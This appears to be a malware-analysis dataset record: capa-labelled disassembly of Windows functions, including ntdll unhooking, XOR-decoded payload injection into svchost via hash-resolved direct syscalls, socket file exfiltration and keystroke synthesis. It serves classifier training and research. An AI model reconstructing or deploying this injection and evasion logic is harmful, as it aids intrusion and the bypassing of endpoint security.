joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18027c460
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x38
cmp r8d, 8
jge 0x18027c4ea
xor r10d, r10d
cmp r8d, 4
jl 0x18027c4be
add r8d, 0xfffffffc
movsx rax, word [rcx + r10*2]
movsx r9, dx
cmp eax, r9d
je 0x18027c6c3
movsx rax, word [rcx + r10*2 + 2]
cmp eax, r9d
je 0x18027c6b1
movsx rax, word [rcx + r10*2 + 4]
cmp eax, r9d
je 0x18027c6b7
movsx rax, word [rcx + r10*2 + 6]
cmp eax, r9d
je 0x18027c6bd
add r10, 4
test r8d, r8d
jle 0x18027c4e0
movsx r9, dx
dec r8d
movsx rax, word [rcx + r10*2]
cmp eax, r9d
je 0x18027c6c3
inc r10
test r8d, r8d
jg 0x18027c4c7
mov eax, 0xffffffff
add rsp, 0x38
ret
movsx r9, dx
movd xmm0, r9d
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
mov r10, rcx
lea eax, [r8 - 8]
cdqe
add rax, rax
lea rdx, [r10 + rax]
movups xmm1, xmmword [r10]
pcmpeqw xmm1, xmm0
movaps xmmword [rsp + 0x20], xmm1
xorps xmm2, xmm2
pcmpeqw xmm1, xmm2
pmovmskb r9d, xmm1
cmp r9d, 0xffff
jne 0x18027c60a
add r10, 0x10
cmp r10, rdx
jbe 0x18027c50c
mov ecx, r8d
test cl, 7
je 0x18027c4e0
movups xmm1, xmmword [rdx]
pcmpeqw xmm0, xmm1
movaps xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
pcmpeqw xmm0, xmm1
pmovmskb r10d, xmm0
cmp r10d, 0xffff
je 0x18027c4e0
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 8], rcx
movzx ecx, word [rsp + 8]
shr ecx, 0xf
movzx edx, word [rsp + 0xa]
shr edx, 0xf
add edx, edx
or ecx, edx
movzx edx, word [rsp + 0xc]
shr edx, 0xf
shl edx, 2
or edx, ecx
mov ecx, edx
movzx edx, word [rsp + 0xe]
shr edx, 0xf
shl edx, 3
or edx, ecx
mov ecx, edx
mov rdx, qword [rsp + 0x28]
mov qword [rsp], rdx
movzx edx, word [rsp]
shr edx, 0xf
movzx r8d, word [rsp + 2]
shr r8d, 0xf
add r8d, r8d
or edx, r8d
movzx r8d, word [rsp + 4]
shr r8d, 0xf
shl r8d, 2
or r8d, edx
mov edx, r8d
movzx r8d, word [rsp + 6]
shr r8d, 0xf
shl r8d, 3
or r8d, edx
mov edx, r8d
shl edx, 4
or ecx, edx
bsf edx, ecx
mov r8d, 0x20
test ecx, ecx
cmove edx, r8d
shr rax, 1
add eax, edx
jmp 0x18027c6c6
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x18], rax
movzx eax, word [rsp + 0x18]
shr eax, 0xf
movzx edx, word [rsp + 0x1a]
shr edx, 0xf
add edx, edx
or eax, edx
movzx edx, word [rsp + 0x1c]
shr edx, 0xf
shl edx, 2
or edx, eax
mov eax, edx
movzx edx, word [rsp + 0x1e]
shr edx, 0xf
shl edx, 3
or edx, eax
mov eax, edx
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x10], rdx
movzx edx, word [rsp + 0x10]
shr edx, 0xf
movzx r8d, word [rsp + 0x12]
shr r8d, 0xf
add r8d, r8d
or edx, r8d
movzx r8d, word [rsp + 0x14]
shr r8d, 0xf
shl r8d, 2
or r8d, edx
mov edx, r8d
movzx r8d, word [rsp + 0x16]
shr r8d, 0xf
shl r8d, 3
or r8d, edx
mov edx, r8d
shl edx, 4
or eax, edx
bsf edx, eax
mov r8d, 0x20
test eax, eax
cmove edx, r8d
mov rax, r10
sub rax, rcx
shr rax, 1
add eax, edx
jmp 0x18027c6c6
lea eax, [r10 + 1]
jmp 0x18027c6c6
lea eax, [r10 + 2]
jmp 0x18027c6c6
lea eax, [r10 + 3]
jmp 0x18027c6c6
mov eax, r10d
add rsp, 0x38
ret
Function at 0x18028b5a0
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbp
push rbx
sub rsp, 0x28
mov rbx, r8
mov esi, edx
xor edi, edi
mov ebp, dword [rbx + 8]
test ebp, ebp
jle 0x18028b5d2
mov rcx, qword [rbx + rdi*8 + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov ecx, esi
rol ecx, 0xd
add ecx, esi
mov esi, eax
xor esi, ecx
inc edi
cmp ebp, edi
jg 0x18028b5b6
mov eax, esi
rol eax, 0xf
add eax, esi
add rsp, 0x28
pop rbx
pop rbp
pop rsi
pop rdi
ret

Function at 0x18028b600
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbp
push rbx
sub rsp, 0x28
mov rbx, r8
mov esi, edx
xor edi, edi
mov ebp, dword [rbx + 8]
test ebp, ebp
jle 0x18028b632
mov rcx, qword [rbx + rdi*8 + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov ecx, esi
rol ecx, 0xd
add ecx, esi
mov esi, eax
xor esi, ecx
inc edi
cmp ebp, edi
jg 0x18028b616
mov eax, esi
rol eax, 0xf
add eax, esi
add rsp, 0x28
pop rbx
pop rbp
pop rsi
pop rdi
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x90], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], 0
lea rcx, [0x14000b300]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400011f8
mov rsi, rax
lea r8, [rsp + 0x70]
mov rcx, rdi
mov rdx, rax
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rcx, str.c:windows_system32_ntdll.dll
mov ebx, 1
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test rax, rax
je 0x14000120b
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x40], rax
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x60], rax
movsxd rbx, dword [r14 + 0x3c]
movzx r12d, word [rbx + r14 + 6]
test r12w, r12w
je 0x1400011cd
lea r15, [r14 + rbx]
add r15, 0x18
xor esi, esi
lea r13, [0x14000b369]
lea rbp, [rsp + 0x6c]
jmp 0x140001160
inc rsi
movzx eax, r12w
add r15, 0x28
cmp rsi, rax
jae 0x1400011cd
movzx edi, word [r14 + rbx + 0x14]
add rdi, r15
mov rcx, rdi
mov rdx, r13
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001150
mov dword [rsp + 0x6c], 0
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 0xc]
add rcx, r14
mov r8d, 0x40
mov r9, rbp
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r12
mov r8d, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
lea rcx, [rdx + r14]
add rdx, qword [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x6c]
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 0xc]
add rcx, r14
mov r9, rbp
call r12
movzx r12d, word [r14 + rbx + 6]
jmp 0x140001150
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x48]
call rsi
mov rcx, qword [rsp + 0x40]
call rsi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor ebx, ebx
jmp 0x140001217
lea rcx, str.____Invalid_Ntdll_module_handle
call fcn.140001240
mov ebx, 1
jmp 0x140001217
lea rcx, str.____Invalid_Ntdll_mapping_handle
call fcn.140001240
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140009260
mov eax, ebx
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400012c0
Capabilities:
Enumerate processes

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x268
mov rdi, rcx
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov dword [rsp + 0x28], 0x238
xor esi, esi
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x140001374
mov rbx, rax
lea rdx, [rsp + 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
lea r14, [rsp + 0x54]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000135c
lea r15, [rsp + 0x28]
mov r12, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
nop word cs:[rax + rax]
mov rcx, rbx
mov rdx, r15
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x14000136b
mov rcx, rdi
mov rdx, r14
call r12
test eax, eax
jne 0x140001340
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rsp + 0x30]
jmp 0x140001374
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140009260
mov eax, esi
add rsp, 0x268
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140001490
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov edi, ecx
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov ecx, 0x503ac
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
lea rdx, str.m97n0
mov r8d, 0x281d6
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 1
xor ecx, ecx
movabs r9, 0xaaaaaaaaaaaaaaab
lea r10, str.jwe8gH_dKp
nop word cs:[rax + rax]
mov rax, rcx
mul r9
shr rdx, 1
and rdx, 0xfffffffffffffffc
lea rax, [rdx + rdx*2]
mov rdx, r10
sub rdx, rax
movzx eax, byte [rdx + r8 - 1]
xor byte [rsi + r8 - 1], al
movzx eax, byte [rdx + r8]
xor byte [rsi + r8], al
add rcx, 2
add r8, 2
cmp r8, 0x281d7
jne 0x1400014f0
mov qword [rsp + 0x68], 0x281d6
mov qword [rsp + 0x60], 0
mov ecx, 0x1fffff
xor edx, edx
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x14000160a
mov rdi, rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x60]
lea r9, [rsp + 0x68]
mov rcx, rax
xor r8d, r8d
call fcn.140001f30
test eax, eax
js 0x140001613
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov r9d, 0x281d6
mov rcx, rdi
mov r8, rsi
call fcn.140002770
test eax, eax
js 0x14000161c
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
lea rcx, [rsp + 0x58]
mov edx, 0x20000000
xor r8d, r8d
mov r9, rdi
call fcn.140004770
cmp qword [rsp + 0x58], 0
je 0x140001625
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140009260
xor eax, eax
add rsp, 0x78
pop rdi
pop rsi
ret
lea rcx, str.____Invalid_Target_Handle
jmp 0x14000162c
lea rcx, str.____Memory_allocation_failed
jmp 0x14000162c
lea rcx, str.____Memory_writing_failed
jmp 0x14000162c
lea rcx, str.____Invalid_Thread_Handle
call fcn.140001240
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140001640
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rdx
mov edi, ecx
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
call section..text
cmp edi, 1
jg 0x14000167a
lea rcx, str.____Missing_PID..._Finding...
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
lea rcx, str.svchost.exe.exe
call fcn.1400012c0
jmp 0x140001684
mov rcx, qword [rsi + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
test eax, eax
je 0x140001698
mov ecx, eax
call fcn.140001490
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
lea rcx, [0x140033556]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140001700
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x18
cmp dword [0x1400356c0], 0
jne 0x1400018d4
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r9, qword [rcx + 0x10]
mov rax, qword [r9 + 0x30]
test rax, rax
je 0x1400018de
mov r8, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r8 + 0x88]
test ecx, ecx
je 0x14000176e
lea rdx, [r8 + rcx]
mov ecx, dword [r8 + rcx + 0xc]
mov eax, dword [rcx + r8]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x14000176e
mov eax, dword [rcx + r8 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x14000177a
mov r9, qword [r9]
mov rax, qword [r9 + 0x30]
test rax, rax
jne 0x140001731
test rdx, rdx
je 0x1400018de
mov qword [rsp + 0x20], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
add rbp, r8
mov esi, dword [rdx + 0x1c]
mov qword [rsp + 0x10], rdi
add rsi, r8
mov edi, dword [rdx + 0x20]
mov qword [rsp + 8], r14
add rdi, r8
mov qword [rsp], r15
lea r14, [0x1400356c0]
xor r10d, r10d
mov r15d, 0x775a
nop word [rax + rax]
lea eax, [rbx - 1]
mov edx, dword [rdi + rax*4]
add rdx, r8
cmp word [rdx], r15w
jne 0x140001835
xor r11d, r11d
mov r9d, 0x2930b428
mov rax, rdx
nop dword [rax + rax]
movzx eax, word [rax]
mov ecx, r9d
ror ecx, 8
inc r11d
add ecx, eax
mov eax, r11d
add rax, rdx
xor r9d, ecx
cmp byte [rax], 0
jne 0x1400017f0
lea rdx, [r10*8]
inc r10d
mov dword [rdx + r14 + 4], r9d
lea eax, [rbx - 1]
movzx eax, word [rbp + rax*2]
mov eax, dword [rsi + rax*4]
mov dword [rdx + r14 + 8], eax
cmp r10d, 0x1f4
je 0x14000183a
add ebx, 0xffffffff
jne 0x1400017d0
mov r15, qword [rsp]
lea eax, [r10 - 1]
mov rsi, qword [rsp + 0x30]
xor r9d, r9d
mov rbp, qword [rsp + 0x28]
mov dword [0x1400356c0], r10d
test eax, eax
je 0x1400018c5
nop word [rax + rax]
mov ecx, r10d
xor eax, eax
sub ecx, r9d
cmp ecx, 1
je 0x1400018b9
nop dword [rax]
mov edx, eax
lea r11d, [rax + 1]
mov ebx, dword [r14 + r11*8 + 8]
mov edi, dword [r14 + rdx*8 + 8]
cmp edi, ebx
jbe 0x1400018a9
mov ecx, dword [r14 + rdx*8 + 4]
mov eax, dword [r14 + r11*8 + 4]
mov dword [r14 + rdx*8 + 4], eax
mov dword [r14 + r11*8 + 4], ecx
mov dword [r14 + rdx*8 + 8], ebx
mov dword [r14 + r11*8 + 8], edi
mov r10d, dword [0x1400356c0]
mov ecx, r10d
mov eax, r11d
sub ecx, r9d
dec ecx
cmp r11d, ecx
jb 0x140001870
inc r9d
lea eax, [r10 - 1]
cmp r9d, eax
jb 0x140001860
mov rdi, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x20]
mov r14, qword [rsp + 8]
mov eax, 1
add rsp, 0x18
ret
xor eax, eax
add rsp, 0x18
ret

Function at 0x140001f30
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x86214c7
call fcn.1400018f0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x140002770
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x39116fd
call fcn.1400018f0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004770
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x58b8e69e
call fcn.1400018f0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x14000a098
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a0e2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a0e2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a0e2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a0e2
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a0e2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a0e4
xor al, al
add rsp, 0x28
ret
Function at 0x180001210
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov eax, 0x5a4d
mov rbp, r8
mov r15, rdx
mov rdi, rcx
cmp word [rcx], ax
jne 0x180001288
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
cmp dword [rbx], 0x4550
jne 0x180001288
movzx eax, word [rbx + 0x14]
lea r14, [rbx + 0x18]
xor r12d, r12d
add r14, rax
mov esi, r12d
cmp r12w, word [rbx + 6]
jae 0x180001288
movsxd rax, esi
lea rcx, [rax + rax*4]
lea rdx, [r14 + rcx*8]
mov rcx, rbp
call fcn.180012160
test eax, eax
je 0x1800012a9
movzx eax, word [rbx + 6]
inc esi
cmp esi, eax
jl 0x180001267
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
movsxd rax, esi
lea rcx, [rax + rax*4]
mov eax, dword [r14 + rcx*8 + 8]
mov dword [r15], eax
mov eax, dword [r14 + rcx*8 + 0xc]
add rax, rdi
jmp 0x18000128a

Function at 0x180001484
Capabilities:
Encode data using xor

Disassembly:
mov r10, qword [rcx]
xor r9d, r9d
mov r11, rdx
cmp qword [rcx + 8], r10
je 0x1800014b5
xor edx, edx
mov rax, r9
div r8
mov al, byte [rdx + r11]
xor byte [r10 + r9], al
inc r9
mov r10, qword [rcx]
mov rax, qword [rcx + 8]
sub rax, r10
cmp r9, rax
jb 0x180001493
ret
Function at 0x140001134
Capabilities:
Connect socket
Get socket status
Set socket configuration

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov r14d, r8d
mov dword [rsp + 0x30], 1
xor r8d, r8d
movzx edi, dx
mov ebx, ecx
lea r12d, [r8 + 2]
mov ecx, r12d
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001218
movzx ecx, di
mov word [rsp + 0x40], r12w
mov dword [rsp + 0x44], ebx
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
mov rcx, rsi
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
lea r8d, [r12 + 0xe]
mov rcx, rsi
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_connect]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x38], r14d
xor edi, edi
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov dword [rsp + 0x3c], edi
lea r8, [rsp + 0x50]
mov qword [rsp + 0x58], rsi
xor edx, edx
mov dword [rsp + 0x50], 1
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_select]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_closesocket]
test ebx, ebx
setg dil
mov eax, edi
jmp 0x14000121a
xor eax, eax
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.140009690
mov rbx, qword [rsp + 0x2b8]
add rsp, 0x270
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001970
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
sub rsp, 0x250
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x240], rax
movsxd rax, dword [rcx + 0x134]
mov rbx, rcx
cmp eax, 0xffffffff
je 0x140001b27
shl rax, 6
lea rbp, [0x140000000]
cmp dword [rax + rbp + 0x951dc], 0
je 0x140001b27
mov ecx, 1
call fcn.140008018
test eax, eax
jne 0x140001b27
xor ecx, ecx
call fcn.14004f52c
mov ecx, eax
call fcn.14004ef24
call fcn.14004eef8
and dword [0x140098764], 0
mov r8d, eax
mov eax, 0x207f10d9
imul r8d
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xfc17
lea rdx, [0x140098558]
sub r8d, ecx
xor ecx, ecx
add r8d, 0x3e8
mov dword [0x140098768], r8d
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov r8d, 0x103
lea rdx, str.wincom.exe
lea rcx, [0x14009865c]
call fcn.14004f010
mov rax, qword [rbx + 0x110]
lea rdx, [rbx + 0x90]
cmp byte [rdx], 0
lea rcx, [0x14009876c]
mov qword [0x140098550], rax
mov r8d, 0x7f
mov eax, dword [rbx + 0x13c]
mov dword [0x1400987ec], eax
jne 0x140001a89
lea rdx, [rbx + 0x10]
call fcn.14004f010
mov dword [0x1400987f0], 1
jmp 0x140001a95
call fcn.14004f010
and dword [0x1400987f0], 0
mov r8d, dword [0x140098768]
lea r9, [0x140098558]
lea rdx, [0x14007e700]
lea rcx, [rsp + 0x40]
call fcn.140001e18
xor r8d, r8d
lea rcx, [rsp + 0x40]
lea edx, [r8 + 1]
call fcn.140007f24
mov dword [0x140098760], eax
lea r9, [0x140098550]
lea rax, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r8, [0x140002524]
and dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [0x140098760]
imul rdx, rcx, 0x248
mov qword [rdx + rbp + 0x98c50], rax
test rax, rax
jne 0x140001b53
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x14007e730]
lea rcx, [rsp + 0x40]
call fcn.140001e18
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140009690
mov rbx, qword [rsp + 0x268]
add rsp, 0x250
pop rbp
ret
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1400987f4], 0
je 0x140001b48
jmp 0x140001b27
Function at 0x140002380
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x540
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x530], rax
mov r8d, 0x104
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x14007ec58]
lea rcx, [rsp + 0x20]
call fcn.1400501e0
mov rbx, rax
test rax, rax
jne 0x14000240d
jmp 0x140002439
mov r9, rbx
lea rcx, [rsp + 0x130]
mov edx, 0x400
mov r8d, 1
call fcn.140050504
mov rcx, qword [0x140098800]
lea rdx, [rsp + 0x130]
xor r9d, r9d
mov r8d, 0x400
call qword [sym.imp.WS2_32.dll_send]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call fcn.14004feb4
test eax, eax
je 0x1400023c9
mov rcx, rbx
call fcn.14004fdec
mov rcx, qword [0x140098800]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.140009690
add rsp, 0x540
pop rbx
ret

Function at 0x140002454
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x1e0
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov edi, edx
mov rbx, rcx
mov ecx, 0x101
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
lea edx, [r8 + 1]
lea esi, [rdx + 1]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rcx, rbx
mov word [rsp + 0x20], si
mov qword [0x140098800], rax
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, di
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [0x140098800]
lea r8d, [rsi + 0xe]
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400024f8
mov rcx, qword [0x140098800]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x1400024fd
mov eax, 1
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140009690
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140003570
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, select
call qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x61
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor r8d, r8d
movzx ecx, ax
xor edx, edx
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x2e
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov cl, select
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x61
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor edx, edx
movzx ecx, ax
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov cl, 0x2e
lea r8d, [r9 + 2]
add rsp, 0x28
jmp qword [sym.imp.USER32.dll_keybd_event]